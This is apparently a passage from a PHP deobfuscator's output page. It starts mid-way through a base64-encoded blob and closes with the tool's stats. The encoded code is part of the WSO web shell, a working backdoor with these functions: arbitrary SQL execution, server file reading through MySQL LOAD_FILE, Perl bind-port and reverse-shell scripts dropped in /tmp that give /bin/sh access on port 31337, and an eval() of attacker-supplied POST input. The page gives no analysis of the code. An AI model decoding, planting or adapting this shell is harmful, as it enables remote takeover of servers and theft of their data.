QgJy4oJF9QT1NUWydwMyddKjMwKS4nLDMwJzsNCgkJCQkJZWNobyAiPGJyPjxicj4iOw0KCQkJCX0NCgkJCQlpZigoQCRfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgew0KCQkJCQkkZGItPnF1ZXJ5KEAkX1BPU1RbJ3AyJ10pOw0KCQkJCQlpZigkZGItPnJlcyAhPT0gZmFsc2UpIHsNCgkJCQkJCSR0aXRsZSA9IGZhbHNlOw0KCQkJCQkJZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGNsYXNzPW1haW4gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzI5MjkyOSI+JzsNCgkJCQkJCSRsaW5lID0gMTsNCgkJCQkJCXdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKQl7DQoJCQkJCQkJaWYoISR0aXRsZSkJew0KCQkJCQkJCQllY2hvICc8dHI+JzsNCgkJCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkNCgkJCQkJCQkJCWVjaG8gJzx0aD4nLiRrZXkuJzwvdGg+JzsNCgkJCQkJCQkJcmVzZXQoJGl0ZW0pOw0KCQkJCQkJCQkkdGl0bGU9dHJ1ZTsNCgkJCQkJCQkJZWNobyAnPC90cj48dHI+JzsNCgkJCQkJCQkJJGxpbmUgPSAyOw0KCQkJCQkJCX0NCgkJCQkJCQllY2hvICc8dHIgY2xhc3M9ImwnLiRsaW5lLiciPic7DQoJCQkJCQkJJGxpbmUgPSAkbGluZT09MT8yOjE7DQoJCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkgew0KCQkJCQkJCQlpZigkdmFsdWUgPT0gbnVsbCkNCgkJCQkJCQkJCWVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsNCgkJCQkJCQkJZWxzZQ0KCQkJCQkJCQkJZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQllY2hvICc8L3RyPic7DQoJCQkJCQl9DQoJCQkJCQllY2hvICc8L3RhYmxlPic7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQllY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7DQoJCQkJCX0NCgkJCQl9DQoJCQkJZWNobyAiPGJyPjwvZm9ybT48Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT1cInF1ZXJ5XCI7ZC5zZi5wMi52YWx1ZT10aGlzLnF1ZXJ5LnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjx0ZXh0YXJlYSBuYW1lPSdxdWVyeScgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjEwMHB4Jz4iOw0KICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AxJ10gIT0gJ2xvYWRmaWxlJykpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOw0KICAgICAgICAgICAgICAgIGVjaG8gIjwvdGV4dGFyZWE+PGJyLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0V4ZWN1dGUnPiI7DQoJCQkJZWNobyAiPC90ZD48L3RyPiI7DQoJCQl9DQoJCQllY2hvICI8L3RhYmxlPjwvZm9ybT48YnIvPiI7DQogICAgICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXT09J215c3FsJykgew0KICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoIlNFTEVDVCAxIEZST00gbXlzcWwudXNlciBXSEVSRSBjb25jYXQoYHVzZXJgLCAnQCcsIGBob3N0YCkgPSBVU0VSKCkgQU5EIGBGaWxlX3ByaXZgID0gJ3knIik7DQogICAgICAgICAgICAgICAgaWYoJGRiLT5mZXRjaCgpKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9jdW1lbnQuc2YucDIudmFsdWU9dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPiI7DQogICAgICAgICAgICB9DQoJCQlpZihAJF9QT1NUWydwMSddID09ICdsb2FkZmlsZScpIHsNCgkJCQkkZmlsZSA9ICRkYi0+bG9hZEZpbGUoJF9QT1NUWydwMiddKTsNCgkJCQllY2hvICc8YnIvPjxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsNCgkJCX0NCgl9IGVsc2Ugew0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKTsNCiAgICB9DQoJZWNobyAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvbk5ldHdvcmsoKSB7DQoJd3NvSGVhZGVyKCk7DQoJJGJhY2tfY29ubmVjdF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdsaFpHUnlQV2x1WlhSZllYUnZiaWdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ25MMkpwYmk5emFDQXRhU2NwT3cwS1kyeHZjMlVvVTFSRVNVNHBPdzBLWTJ4dmMyVW9VMVJFVDFWVUtUc05DbU5zYjNObEtGTlVSRVZTVWlrNyI7DQoJJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOw0KCWVjaG8gIjxoMT5uRXR3MHJLIHQwMExzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdicHAnLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPg0KCTxzcGFuPmJMaW5EIHAwclQgdDAgL2JpTi9zSCBbcEVyTF08L3NwYW4+PGJyLz4NCglwMHJUOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncDByVCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+DQoJPC9mb3JtPg0KCTxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9XCJnKG51bGwsbnVsbCwnYmNwJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTtcIj4NCgk8c3Bhbj5iQUNrLWMwbk5lQ3QgW3BFckxdPC9zcGFuPjxici8+DQoJc0VydkVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncDByVCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+DQoJPC9mb3JtPjxicj4iOw0KCWlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsNCgkJZnVuY3Rpb24gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsNCgkJCWlmKCR3KXsNCgkJCQlAZndyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSk7DQoJCQkJQGZjbG9zZSgkdyk7DQoJCQl9DQoJCX0NCgkJaWYoJF9QT1NUWydwMSddID09ICdicHAnKSB7DQoJCQljZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsNCgkJCSRvdXQgPSB3c29FeCgicGVybCAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7DQogICAgICAgICAgICBzbGVlcCgxKTsNCgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIud3NvRXgoInBzIGF1eCB8IGdyZXAgYnAucGwiKS4iPC9wcmU+IjsNCiAgICAgICAgICAgIHVubGluaygiL3RtcC9icC5wbCIpOw0KCQl9DQoJCWlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgew0KCQkJY2YoIi90bXAvYmMucGwiLCRiYWNrX2Nvbm5lY3RfcCk7DQoJCQkkb3V0ID0gd3NvRXgoInBlcmwgL3RtcC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7DQogICAgICAgICAgICBzbGVlcCgxKTsNCgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIud3NvRXgoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9wcmU+IjsNCiAgICAgICAgICAgIHVubGluaygiL3RtcC9iYy5wbCIpOw0KCQl9DQoJfQ0KCWVjaG8gJzwvZGl2Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhY3Rpb25SQygpIHsNCglpZighQCRfUE9TVFsncDEnXSkgew0KCQkkYSA9IGFycmF5KA0KCQkJInVuYW1lIiA9PiBwaHBfdW5hbWUoKSwNCgkJCSJwaHBfdmVyc2lvbiIgPT4gcGhwdmVyc2lvbigpLA0KCQkJIndzb192ZXJzaW9uIiA9PiBXU09fVkVSU0lPTiwNCgkJCSJzYWZlbW9kZSIgPT4gQGluaV9nZXQoJ3NhZmVfbW9kZScpDQoJCSk7DQoJCWVjaG8gc2VyaWFsaXplKCRhKTsNCgl9IGVsc2Ugew0KCQlldmFsKCRfUE9TVFsncDEnXSk7DQoJfQ0KfQ0KaWYoIGVtcHR5KCRfUE9TVFsnYSddKSApDQoJaWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkZGVmYXVsdF9hY3Rpb24pKQ0KCQkkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsNCgllbHNlDQoJCSRfUE9TVFsnYSddID0gJ1NlY0luZm8nOw0KaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkNCgljYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKTs='));
?>

Function Calls

None

Variables

None

Stats

MD5 7dce8c4cb58e75a55c372b3f524a35f9
Eval Count 0
Decode Time 756 ms